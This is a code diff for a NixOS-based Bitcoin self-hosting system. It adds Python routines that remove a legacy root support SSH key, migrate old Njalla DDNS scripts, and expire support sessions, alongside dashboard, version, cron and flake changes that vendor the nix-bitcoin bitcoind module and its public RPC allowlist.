"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
)
def remove_legacy_root_key(
authorized_keys_path: str,
target_blob: str,
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> bool:
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
algorithm prefix or comment field. All other keys, blank lines, and comment
lines are preserved unchanged. The file is written back atomically.
Args:
authorized_keys_path: Path to the authorized_keys file to modify.
target_blob: The exact base64 key blob to remove. Only lines whose
second whitespace-delimited field matches this value are removed;
no substring or comment matching is performed.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. The full key blob is **never** passed to this callback.
Returns:
``True`` if the file was modified (at least one line removed),
``False`` if unchanged or absent.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(authorized_keys_path, "r") as f:
lines = f.readlines()
except FileNotFoundError:
return False
except OSError:
return False
kept: list[str] = []
removed_count = 0
for line in lines:
stripped = line.rstrip("\n")
parts = stripped.split()
# Key lines have at least two space-separated fields: algorithm + blob.
# Remove only lines whose blob (parts[1]) matches exactly — no
# substring matching, no comment matching.
if len(parts) >= 2 and parts[1] == target_blob:
removed_count += 1
# Audit without logging the key blob itself.
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
else:
kept.append(line)
if removed_count == 0:
return False
# Atomic write: mkstemp in same directory + os.replace
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
try:
with os.fdopen(fd, "w") as f:
f.writelines(kept)
os.chmod(tmp, 0o600)
os.replace(tmp, authorized_keys_path)
except Exception:
try:
os.unlink(tmp)
except OSError:
pass
return False
_audit(
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
f"removed={removed_count} keys_retained={len(kept)}",
)
return True
def migrate_legacy_njalla_script(
script_path: str,
validate_fn: Callable[[str], str],
save_fn: Callable[[list[str]], None],
load_fn: Callable[[], list[str]],
*,
audit_fn: Callable[[str, str], None] | None = None,
) -> None:
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
Reads the script **without** executing or sourcing it. Parses only the
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
versions. Any other line is silently discarded — never executed or logged
(it may contain secret tokens).
On successful persistence the script is archived with mode ``0o000`` so
it can no longer be executed. If persistence fails the script is left
**untouched**.
Args:
script_path: Path to the legacy njalla.sh file.
validate_fn: URL validation function; raises ``ValueError`` on invalid
URLs. Callers must substitute the ``${IP}`` placeholder before
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
to the validator.
save_fn: Callable that atomically writes a ``list[str]`` URL list to
the persistent JSON store.
load_fn: Callable that returns the current ``list[str]`` URL list from
the persistent store.
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging. Token-bearing URLs are **never** passed to this callback.
"""
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
try:
with open(script_path, "r") as f:
content = f.read()
except FileNotFoundError:
return
except OSError:
return
existing_urls = load_fn()
new_urls: list[str] = []
for raw_line in content.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
continue
m = _LEGACY_NJALLA_CURL_RE.match(line)
if not m:
# Unrecognised line — discard silently, do NOT log (may contain tokens)
continue
# group(1) = quoted form, group(2) = unquoted form
raw_url = m.group(1) or m.group(2)
# Substitute placeholder so host/scheme/path validation works
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
try:
validate_fn(url_to_validate)
except ValueError:
continue # Silently discard invalid/non-Njal.la URLs
if raw_url not in existing_urls and raw_url not in new_urls:
new_urls.append(raw_url)
if new_urls:
combined = existing_urls + new_urls
try:
save_fn(combined)
except Exception:
# Persistence failed — leave the script untouched, return without
# archiving so the migration can be retried.
return
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
# Archive: remove all permission bits so cron/any mechanism cannot run it
try:
os.chmod(script_path, 0o000)
except OSError:
pass
def expire_if_stale(
status_file: str,
*,
clock_fn: Callable[[], float] | None = None,
disable_fn: Callable[[], bool] | None = None,
audit_fn: Callable[[str, str], None] | None = None,
session_id: str | None = None,
expected_expiry: float | None = None,
max_session_seconds: float = 86400.0,
) -> bool:
"""Expire a support session if its deadline has passed.
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
provided (used by the server-side timer callback), the stored session
metadata is compared field-by-field. A mismatch means a replacement
session has been started after this timer was scheduled; in that case the
function returns ``False`` without touching anything.
Args:
status_file: Path to the JSON session metadata file.
clock_fn: Callable returning current Unix time (default: ``time.time``).
disable_fn: Callable that performs the full disable sequence — removes
the support key, removes wallet-unlock metadata, restores deny
ACLs, clears session metadata, and audits the event. If ``None``,
expiry is detected but no action is taken (useful for tests that
want to inspect detection only).
audit_fn: Optional callback ``(event: str, details: str)`` for audit
logging.
session_id: If given, expiry is skipped unless the stored
``session_id`` field matches exactly.
expected_expiry: If given, expiry is skipped unless the stored
``expires_at`` field matches exactly.
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
when ``expires_at`` is absent.
Returns:
``True`` if a session was expired, ``False`` otherwise.
"""
_now = clock_fn if clock_fn is not None else _time_module.time
def _audit(event: str, details: str = "") -> None:
if audit_fn:
audit_fn(event, details)
def _disable() -> bool:
return disable_fn() if disable_fn is not None else True
try:
with open(status_file, "r") as f:
info = json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
return False
# Stale-timer guard
if session_id is not None and info.get("session_id") != session_id:
return False
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
return False
expires_at = info.get("expires_at")
now = _now()
if expires_at is None:
enabled_at = info.get("enabled_at", 0)
if enabled_at and (now - enabled_at) > max_session_seconds:
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
_disable()
return True
return False
if now >= expires_at:
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
_disable()
return True
return False
+39
View File
@@ -18,6 +18,45 @@ def is_active(unit: str, scope: Literal["system", "user"] = "system") -> str:
return _run(["systemctl", f"--{scope}", "is-active", unit]) or "unknown" return _run(["systemctl", f"--{scope}", "is-active", unit]) or "unknown"
def active_states(units_by_scope: dict[str, list[str]], timeout: float = 5) -> dict[tuple[str, str], str]:
"""Return active states for many units with one systemctl call per scope.
The dashboard polls service state frequently. Spawning one ``systemctl``
process per tile makes a slow or unavailable system bus multiply the delay
(and can make the first dashboard render wait through many timeouts). The
``is-active`` command accepts multiple units, so batch them and cap the
whole batch at a single timeout.
"""
states: dict[tuple[str, str], str] = {}
valid_scopes = {"system", "user"}
for scope, units in units_by_scope.items():
unique_units = list(dict.fromkeys(unit for unit in units if unit))
if not unique_units:
continue
if scope not in valid_scopes:
for unit in unique_units:
states[(scope, unit)] = "unknown"
continue
try:
result = subprocess.run(
["systemctl", f"--{scope}", "is-active", "--", *unique_units],
capture_output=True,
text=True,
timeout=timeout,
)
lines = result.stdout.splitlines()
for index, unit in enumerate(unique_units):
state = lines[index].strip() if index < len(lines) else ""
states[(scope, unit)] = state or "unknown"
except Exception:
for unit in unique_units:
states[(scope, unit)] = "unknown"
return states
def is_enabled(unit: str, scope: Literal["system", "user"] = "system") -> str: def is_enabled(unit: str, scope: Literal["system", "user"] = "system") -> str:
return _run(["systemctl", f"--{scope}", "is-enabled", unit]) or "unknown" return _run(["systemctl", f"--{scope}", "is-enabled", unit]) or "unknown"
@@ -55,7 +55,12 @@
<div id="sidebar-support"></div> <div id="sidebar-support"></div>
<div id="sidebar-features"></div> <div id="sidebar-features"></div>
</aside> </aside>
<div id="tiles-area"></div> <div id="tiles-area">
<div class="dashboard-loading" role="status" aria-live="polite">
<span class="dashboard-loading-spinner" aria-hidden="true"></span>
<span>Loading service status…</span>
</div>
</div>
</main> </main>
<!-- Update modal --> <!-- Update modal -->
+3 -3
View File
@@ -5,10 +5,10 @@
"bitcoind.service": "27.1.0", "bitcoind.service": "27.1.0",
"electrs.service": "0.10.6", "electrs.service": "0.10.6",
"lnd.service": "0.18.0", "lnd.service": "0.18.0",
"rtl.service": "0.15.2", "rtl.service": "0.15.8",
"btcpayserver.service": "2.0.0", "btcpayserver.service": "2.4.2",
"albyhub.service": "1.8.0", "albyhub.service": "1.8.0",
"mempool.service": "3.0.0", "mempool.service": "3.2.1",
"matrix-synapse.service": "1.115.0", "matrix-synapse.service": "1.115.0",
"livekit.service": "1.5.2", "livekit.service": "1.5.2",
"vaultwarden.service": "1.32.0", "vaultwarden.service": "1.32.0",
+3 -6
View File
@@ -192,12 +192,9 @@ backup /etc/nix-bitcoin-secrets/ localhost/
}; };
# ── Cron ─────────────────────────────────────────────────── # ── Cron ───────────────────────────────────────────────────
services.cron = { # The legacy njalla.sh root cron job has been replaced by the systemd timer
enable = true; # defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
systemCronJobs = [ # retained so that rsnapshot and other module-defined cron jobs continue to run.
"*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
];
};
# ── Tor ──────────────────────────────────────────────────── # ── Tor ────────────────────────────────────────────────────
services.tor = { enable = true; client.enable = true; torsocks.enable = true; }; services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
Generated
+10 -141
View File
@@ -18,32 +18,6 @@
"type": "github" "type": "github"
} }
}, },
"extra-container": {
"inputs": {
"flake-utils": [
"nix-bitcoin",
"flake-utils"
],
"nixpkgs": [
"nix-bitcoin",
"nixpkgs"
]
},
"locked": {
"lastModified": 1766155727,
"narHash": "sha256-XGp4HHH6D6ZKiO5RnMzqYJYnZB538EnEflvlTsOKpvo=",
"owner": "erikarvstedt",
"repo": "extra-container",
"rev": "b450bdb24fca1076973c852d87bcb49b8eb5fd49",
"type": "github"
},
"original": {
"owner": "erikarvstedt",
"ref": "0.14",
"repo": "extra-container",
"type": "github"
}
},
"flake-parts": { "flake-parts": {
"inputs": { "inputs": {
"nixpkgs-lib": [ "nixpkgs-lib": [
@@ -65,47 +39,6 @@
"type": "github" "type": "github"
} }
}, },
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1731533236,
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nix-bitcoin": {
"inputs": {
"extra-container": "extra-container",
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs_2",
"nixpkgs-25_05": "nixpkgs-25_05",
"nixpkgs-unstable": "nixpkgs-unstable"
},
"locked": {
"lastModified": 1785177868,
"narHash": "sha256-zlAZZkokXpeHHBP8Nt4MvLXOn1Js1qVi81VPjtVbRV8=",
"owner": "fort-nix",
"repo": "nix-bitcoin",
"rev": "360e30fee5ba32f9fecc89bc35628195d9d2dbbe",
"type": "github"
},
"original": {
"owner": "fort-nix",
"ref": "release",
"repo": "nix-bitcoin",
"type": "github"
}
},
"nixpkgs": { "nixpkgs": {
"locked": { "locked": {
"lastModified": 1785590095, "lastModified": 1785590095,
@@ -121,29 +54,13 @@
"type": "github" "type": "github"
} }
}, },
"nixpkgs-25_05": {
"locked": {
"lastModified": 1767313136,
"narHash": "sha256-16KkgfdYqjaeRGBaYsNrhPRRENs0qzkQVUooNHtoy2w=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "ac62194c3917d5f474c1a844b6fd6da2db95077d",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-25.05",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs-stable": { "nixpkgs-stable": {
"locked": { "locked": {
"lastModified": 1785734586, "lastModified": 1786201459,
"narHash": "sha256-ODZkEK9Gy50yg6h98u7KkitZ3oc/uuTFK00bh1CRdNA=", "narHash": "sha256-CiOTEjmwAmG2AWnaIno9YaCJJmpca2FXPhMAsnrolCg=",
"owner": "nixos", "owner": "nixos",
"repo": "nixpkgs", "repo": "nixpkgs",
"rev": "531670d871c0e29724a02f3cbcac170adc65b58c", "rev": "8b8c811c7c2541c30382c5de7ed26be055569c60",
"type": "github" "type": "github"
}, },
"original": { "original": {
@@ -153,45 +70,13 @@
"type": "github" "type": "github"
} }
}, },
"nixpkgs-unstable": {
"locked": {
"lastModified": 1784453100,
"narHash": "sha256-zpGZb8FYui+i8KLtC0nlcmb0voR2zB80Qn8pe7lzIbk=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "b471514bed69eff5255c8e63c1f80e5fe56c616f",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixpkgs-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_2": { "nixpkgs_2": {
"locked": { "locked": {
"lastModified": 1782847189, "lastModified": 1786106723,
"narHash": "sha256-twXPFqFsrrY5r28Zh7Homgcp2gUMBgQ6WDS98Q/3xFI=", "narHash": "sha256-zDSUbpoeo/9ZmD2+wXnzxoo1+uhL8vxc0b8yuYMKYq0=",
"owner": "NixOS", "owner": "NixOS",
"repo": "nixpkgs", "repo": "nixpkgs",
"rev": "b6018f87da91d19d0ab4cf979885689b469cdd41", "rev": "f13ff45afd1bb73e640eaa08a7066dbed07e3238",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-25.11",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_3": {
"locked": {
"lastModified": 1785828668,
"narHash": "sha256-8fsyqeO+mJqvIzeO4xIpgJe/f7MTbbVTEC6RT6WSXNs=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "e72e4f299401a3689d4b3d5fc6496b11db7064eb",
"type": "github" "type": "github"
}, },
"original": { "original": {
@@ -201,7 +86,7 @@
"type": "github" "type": "github"
} }
}, },
"nixpkgs_4": { "nixpkgs_3": {
"locked": { "locked": {
"lastModified": 1784555310, "lastModified": 1784555310,
"narHash": "sha256-/FCliTPgiuV1owejZFNx3Ch9irdvkOfOFl+HHZ+DrtM=", "narHash": "sha256-/FCliTPgiuV1owejZFNx3Ch9irdvkOfOFl+HHZ+DrtM=",
@@ -220,8 +105,8 @@
"nixvim": { "nixvim": {
"inputs": { "inputs": {
"flake-parts": "flake-parts", "flake-parts": "flake-parts",
"nixpkgs": "nixpkgs_4", "nixpkgs": "nixpkgs_3",
"systems": "systems_2" "systems": "systems"
}, },
"locked": { "locked": {
"lastModified": 1785763201, "lastModified": 1785763201,
@@ -240,28 +125,12 @@
"root": { "root": {
"inputs": { "inputs": {
"btc-clients": "btc-clients", "btc-clients": "btc-clients",
"nix-bitcoin": "nix-bitcoin", "nixpkgs": "nixpkgs_2",
"nixpkgs": "nixpkgs_3",
"nixpkgs-stable": "nixpkgs-stable", "nixpkgs-stable": "nixpkgs-stable",
"nixvim": "nixvim" "nixvim": "nixvim"
} }
}, },
"systems": { "systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
},
"systems_2": {
"locked": { "locked": {
"lastModified": 1774449309, "lastModified": 1774449309,
"narHash": "sha256-brhZ8DmuGtzkCYHJg4HEd602amKm89Y9ytsFZ5uWD1w=", "narHash": "sha256-brhZ8DmuGtzkCYHJg4HEd602amKm89Y9ytsFZ5uWD1w=",
Executable → Regular
+19 -13
View File
@@ -3,13 +3,12 @@
inputs = { inputs = {
nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable"; nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
nix-bitcoin.url = "github:fort-nix/nix-bitcoin/release";
nixvim.url = "github:nix-community/nixvim"; nixvim.url = "github:nix-community/nixvim";
btc-clients.url = "github:emmanuelrosa/btc-clients-nix"; btc-clients.url = "github:emmanuelrosa/btc-clients-nix";
nixpkgs-stable.url = "github:nixos/nixpkgs/nixos-26.05"; nixpkgs-stable.url = "github:nixos/nixpkgs/nixos-26.05";
}; };
outputs = { self, nixpkgs, nix-bitcoin, nixvim, btc-clients, nixpkgs-stable, ... }: outputs = { self, nixpkgs, nixvim, btc-clients, nixpkgs-stable, ... }:
let let
overlay-stable = final: prev: { overlay-stable = final: prev: {
@@ -22,7 +21,7 @@
{ {
nixosConfigurations.nixos = nixpkgs.lib.nixosSystem { nixosConfigurations.nixos = nixpkgs.lib.nixosSystem {
modules = [ modules = [
{ nixpkgs.hostPlatform = "x86_64-linux"; } { nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
self.nixosModules.Sovran_SystemsOS self.nixosModules.Sovran_SystemsOS
./hardware-configuration.nix ./hardware-configuration.nix
./role-state.nix ./role-state.nix
@@ -32,10 +31,9 @@
nixosConfigurations.sovran_systemsos-iso = nixpkgs.lib.nixosSystem { nixosConfigurations.sovran_systemsos-iso = nixpkgs.lib.nixosSystem {
modules = [ modules = [
{ nixpkgs.hostPlatform = "x86_64-linux"; } { nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
({ config, pkgs, ... }: { nixpkgs.overlays = [ overlay-stable ]; })
./iso/common.nix ./iso/common.nix
nix-bitcoin.nixosModules.default ./modules/bitcoin
nixvim.nixosModules.nixvim nixvim.nixosModules.nixvim
]; ];
}; };
@@ -46,7 +44,7 @@
nixpkgs.overlays = [ overlay-stable ]; nixpkgs.overlays = [ overlay-stable ];
}) })
./configuration.nix ./configuration.nix
nix-bitcoin.nixosModules.default ./modules/bitcoin
nixvim.nixosModules.nixvim nixvim.nixosModules.nixvim
]; ];
config = { config = {
@@ -58,13 +56,21 @@
}; };
}; };
nixosTests.nwc-wallets-port-collision = checks.x86_64-linux = let
import ./nix/tests/nwc-wallets-port-collision.nix { pkgs = import nixpkgs {
inherit nixpkgs;
system = "x86_64-linux"; system = "x86_64-linux";
}; };
fetchNodeModules =
checks.x86_64-linux.nwc-wallets-port-collision = pkgs.callPackage ./packages/build-support/fetch-node-modules.nix {};
self.nixosTests.nwc-wallets-port-collision; mempoolPkgs =
pkgs.callPackage ./packages/mempool { inherit fetchNodeModules; };
in {
bitcoin-btcpay-hardening = import ./tests/bitcoin-btcpay-hardening.nix {
inherit nixpkgs overlay-stable;
};
mempool-backend = mempoolPkgs.mempool-backend;
mempool-frontend = mempoolPkgs.mempool-frontend;
rtl = pkgs.callPackage ./packages/rtl { inherit fetchNodeModules; };
};
}; };
} }
+3 -3
View File
@@ -1,7 +1,7 @@
{ config, pkgs, lib, ... }: { config, pkgs, lib, ... }:
lib.mkIf config.sovran_systemsOS.features.bitcoin-core { lib.mkIf config.sovran_systemsOS.features.bitcoin-core {
# Vendored nix-bitcoin now uses nixpkgs directly; no nix-bitcoin.pkgs indirection.
services.bitcoind.package = lib.mkForce config.nix-bitcoin.pkgs.bitcoind; # Use standard bitcoind from nixpkgs (override to knots if desired via pkgs.bitcoind-knots)
services.bitcoind.package = lib.mkForce pkgs.bitcoind;
} }
@@ -0,0 +1,70 @@
# RPC calls that are safe for public use
# Vendored from nix-bitcoin - do not fetch from upstream at runtime
[
"echo"
"getinfo"
"getindexinfo"
"help"
"ping"
"uptime"
# Blockchain
"getbestblockhash"
"getblock"
"getblockchaininfo"
"getblockcount"
"getblockfilter"
"getblockfrompeer"
"getblockhash"
"getblockheader"
"getblockstats"
"getchaintips"
"getchaintxstats"
"getdeploymentinfo"
"getdifficulty"
"getmempoolancestors"
"getmempooldescendants"
"getmempoolentry"
"getmempoolinfo"
"getrawmempool"
"gettxout"
"gettxoutproof"
"gettxoutsetinfo"
"scantxoutset"
"verifytxoutproof"
# Mining
"getblocktemplate"
"getmininginfo"
"getnetworkhashps"
# Network
"getnetworkinfo"
"getnodeaddresses"
"getpeerinfo"
# Rawtransactions
"analyzepsbt"
"combinepsbt"
"combinerawtransaction"
"converttopsbt"
"createpsbt"
"createrawtransaction"
"decodepsbt"
"decoderawtransaction"
"decodescript"
"finalizepsbt"
"fundrawtransaction"
"getrawtransaction"
"joinpsbts"
"sendrawtransaction"
"signrawtransactionwithkey"
"testmempoolaccept"
"utxoupdatepsbt"
# Util
"createmultisig"
"deriveaddresses"
"estimatesmartfee"
"getdescriptorinfo"
"signmessagewithprivkey"
"validateaddress"
"verifymessage"
# Zmq
"getzmqnotifications"
]
+506
View File
@@ -0,0 +1,506 @@
{ config, pkgs, lib, ... }:
with lib;
let
options = {
services.bitcoind = {
enable = mkEnableOption "Bitcoin daemon";
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for peer connections.";
};
port = mkOption {
type = types.port;
default = if !cfg.regtest then 8333 else 18444;
defaultText = "if !cfg.regtest then 8333 else 18444";
description = "Port to listen for peer connections.";
};
onionPort = mkOption {
type = types.nullOr types.port;
# When the bitcoind onion service is enabled, add an onion-tagged socket
# to distinguish local connections from Tor connections
default = if (config.nix-bitcoin.onionServices.bitcoind.enable or false) then 8334 else null;
description = ''
Port to listen for Tor peer connections.
If set, inbound connections to this port are tagged as onion peers.
'';
};
listen = mkOption {
type = types.bool;
default = false;
description = ''
Listen for peer connections at `address:port`
and `address:onionPort` (if {option}`onionPort` is set).
'';
};
listenWhitelisted = mkOption {
type = types.bool;
default = false;
description = ''
Listen for peer connections at `address:whitelistedPort`.
Peers connected through this socket are automatically whitelisted.
'';
};
whitelistedPort = mkOption {
type = types.port;
default = 8335;
description = "See `listenWhitelisted`.";
};
getPublicAddressCmd = mkOption {
type = types.str;
default = "";
description = ''
Bash expression which outputs the public service address to announce to peers.
If left empty, no address is announced.
'';
};
package = mkOption {
type = types.package;
default = pkgs.bitcoind;
defaultText = "pkgs.bitcoind";
description = ''
The package providing bitcoind binaries.
You can use this option to select other bitcoind-compatible implementations.
Example:
```nix
services.bitcoind.package = pkgs.bitcoind-knots;
```
'';
};
extraConfig = mkOption {
type = types.lines;
default = "";
example = ''
par=16
logips=1
'';
description = "Extra lines appended to {file}`bitcoin.conf`.";
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/bitcoind";
description = "The data directory for bitcoind.";
};
rpc = {
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = ''
Address to listen for JSON-RPC connections.
'';
};
port = mkOption {
type = types.port;
default = if !cfg.regtest then 8332 else 18443;
defaultText = "if !cfg.regtest then 8332 else 18443";
description = "Port to listen for JSON-RPC connections.";
};
threads = mkOption {
type = types.nullOr types.ints.u16;
default = null;
description = "The number of threads to service RPC calls.";
};
allowip = mkOption {
type = types.listOf types.str;
default = [ "127.0.0.1" ];
description = ''
Allow JSON-RPC connections from specified sources.
'';
};
users = mkOption {
default = {};
description = ''
Allowed users for JSON-RPC connections.
'';
example = {
alice = {
passwordHMAC = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
rpcwhitelist = [ "sendtoaddress" "getnewaddress" ];
};
};
type = with types; attrsOf (submodule ({ name, ... }: {
options = {
name = mkOption {
type = types.str;
default = name;
example = "alice";
description = ''
Username for JSON-RPC connections.
'';
};
passwordHMAC = mkOption {
type = types.str;
example = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
description = ''
Password HMAC-SHA-256 for JSON-RPC connections. Must be a string of the
format `<SALT-HEX>$<HMAC-HEX>`.
'';
};
passwordHMACFromFile = mkOption {
type = lib.types.bool;
internal = true;
default = false;
};
rpcwhitelist = mkOption {
type = types.listOf types.str;
default = [];
description = ''
List of allowed rpc calls for each user.
If empty list, rpcwhitelist is disabled for that user.
'';
};
};
}));
};
};
regtest = mkOption {
type = types.bool;
default = false;
description = "Enable regtest mode.";
};
network = mkOption {
readOnly = true;
default = if cfg.regtest then "regtest" else "mainnet";
};
makeNetworkName = mkOption {
readOnly = true;
default = mainnet: regtest: if cfg.regtest then regtest else mainnet;
};
proxy = mkOption {
type = types.nullOr types.str;
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
description = "Connect through SOCKS5 proxy";
};
i2p = mkOption {
type = types.enum [ false true "only-outgoing" ];
default = false;
description = ''
Enable peer connections via i2p.
With `only-outgoing`, incoming i2p connections are disabled.
'';
};
dataDirReadableByGroup = mkOption {
type = types.bool;
default = false;
description = ''
If enabled, data dir content is readable by the bitcoind service group.
Warning: This disables bitcoind's wallet support.
'';
};
sysperms = mkOption {
type = types.nullOr types.bool;
default = null;
description = ''
Create new files with system default permissions, instead of umask 077
(only effective with disabled wallet functionality)
'';
};
disablewallet = mkOption {
type = types.nullOr types.bool;
default = null;
description = ''
Do not load the wallet and disable wallet RPC calls
'';
};
dbCache = mkOption {
type = types.nullOr (intAtLeast 4);
default = null;
example = 4000;
description = "Override the default database cache size in MiB.";
};
prune = mkOption {
type = types.ints.unsigned;
default = 0;
example = 10000;
description = ''
Automatically prune block files to stay under the specified target size in MiB.
Value 0 disables pruning.
'';
};
txindex = mkOption {
type = types.bool;
default = false;
description = "Enable the transaction index.";
};
zmqpubrawblock = mkOption {
type = types.nullOr types.str;
default = null;
example = "tcp://127.0.0.1:28332";
description = "ZMQ address for zmqpubrawblock notifications";
};
zmqpubrawtx = mkOption {
type = types.nullOr types.str;
default = null;
example = "tcp://127.0.0.1:28333";
description = "ZMQ address for zmqpubrawtx notifications";
};
assumevalid = mkOption {
type = types.nullOr types.str;
default = null;
example = "00000000000000000000e5abc3a74fe27dc0ead9c70ea1deb456f11c15fd7bc6";
description = ''
If this block is in the chain assume that it and its ancestors are
valid and potentially skip their script verification.
'';
};
addnodes = mkOption {
type = types.listOf types.str;
default = [];
example = [ "ecoc5q34tmbq54wl.onion" ];
description = "Add nodes to connect to and attempt to keep the connections open";
};
discover = mkOption {
type = types.nullOr types.bool;
default = null;
description = "Discover own IP addresses";
};
addresstype = mkOption {
type = types.nullOr types.str;
default = null;
example = "bech32";
description = "The type of addresses to use";
};
user = mkOption {
type = types.str;
default = "bitcoin";
description = "The user as which to run bitcoind.";
};
group = mkOption {
type = types.str;
default = cfg.user;
description = "The group as which to run bitcoind.";
};
cli = mkOption {
readOnly = true;
type = types.package;
default = pkgs.writers.writeBashBin "bitcoin-cli" ''
exec ${cfg.package}/bin/bitcoin-cli -datadir='${cfg.dataDir}' "$@"
'';
defaultText = "(See source)";
description = "Binary to connect with the bitcoind instance.";
};
tor = nbLib.tor;
};
};
cfg = config.services.bitcoind;
nbLib = config.nix-bitcoin.lib;
secretsDir = config.nix-bitcoin.secretsDir;
i2pSAM = config.services.i2pd.proto.sam;
configFile = builtins.toFile "bitcoin.conf" ''
# We're already logging via journald
nodebuglogfile=1
logtimestamps=0
startupnotify=/run/current-system/systemd/bin/systemd-notify --ready
${optionalString cfg.regtest ''
regtest=1
[regtest]
''}
${optionalString (cfg.dbCache != null) "dbcache=${toString cfg.dbCache}"}
prune=${toString cfg.prune}
${optionalString cfg.txindex "txindex=1"}
${optionalString (cfg.sysperms != null) "sysperms=${if cfg.sysperms then "1" else "0"}"}
${optionalString (cfg.disablewallet != null) "disablewallet=${if cfg.disablewallet then "1" else "0"}"}
${optionalString (cfg.assumevalid != null) "assumevalid=${cfg.assumevalid}"}
# Connection options
listen=${if (cfg.listen || cfg.listenWhitelisted) then "1" else "0"}
${optionalString cfg.listen
"bind=${cfg.address}:${toString cfg.port}"}
${optionalString (cfg.listen && cfg.onionPort != null)
"bind=${cfg.address}:${toString cfg.onionPort}=onion"}
${optionalString cfg.listenWhitelisted
"whitebind=${cfg.address}:${toString cfg.whitelistedPort}"}
${optionalString (cfg.proxy != null) "proxy=${cfg.proxy}"}
${optionalString (cfg.i2p != false) "i2psam=${nbLib.addressWithPort i2pSAM.address i2pSAM.port}"}
${optionalString (cfg.i2p == "only-outgoing") "i2pacceptincoming=0"}
${optionalString (cfg.discover != null) "discover=${if cfg.discover then "1" else "0"}"}
${lib.concatMapStrings (node: "addnode=${node}\n") cfg.addnodes}
# RPC server options
rpcbind=${cfg.rpc.address}
rpcport=${toString cfg.rpc.port}
rpcconnect=${cfg.rpc.address}
${optionalString (cfg.rpc.threads != null) "rpcthreads=${toString cfg.rpc.threads}"}
rpcwhitelistdefault=0
${concatMapStrings (user: ''
${optionalString (!user.passwordHMACFromFile) "rpcauth=${user.name}:${user.passwordHMAC}"}
${optionalString (user.rpcwhitelist != [])
"rpcwhitelist=${user.name}:${lib.strings.concatStringsSep "," user.rpcwhitelist}"}
'') (builtins.attrValues cfg.rpc.users)
}
${lib.concatMapStrings (rpcallowip: "rpcallowip=${rpcallowip}\n") cfg.rpc.allowip}
# Wallet options
${optionalString (cfg.addresstype != null) "addresstype=${cfg.addresstype}"}
# ZMQ options
${optionalString (cfg.zmqpubrawblock != null) "zmqpubrawblock=${cfg.zmqpubrawblock}"}
${optionalString (cfg.zmqpubrawtx != null) "zmqpubrawtx=${cfg.zmqpubrawtx}"}
# Extra options
${cfg.extraConfig}
'';
zmqServerEnabled = (cfg.zmqpubrawblock != null) || (cfg.zmqpubrawtx != null);
intAtLeast = n: types.addCheck types.int (x: x >= n) // {
name = "intAtLeast";
description = "integer >= ${toString n}";
};
in {
inherit options;
config = mkIf cfg.enable {
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
services.bitcoind = mkMerge [
(mkIf cfg.dataDirReadableByGroup {
disablewallet = true;
sysperms = true;
})
{
rpc.users.privileged = {
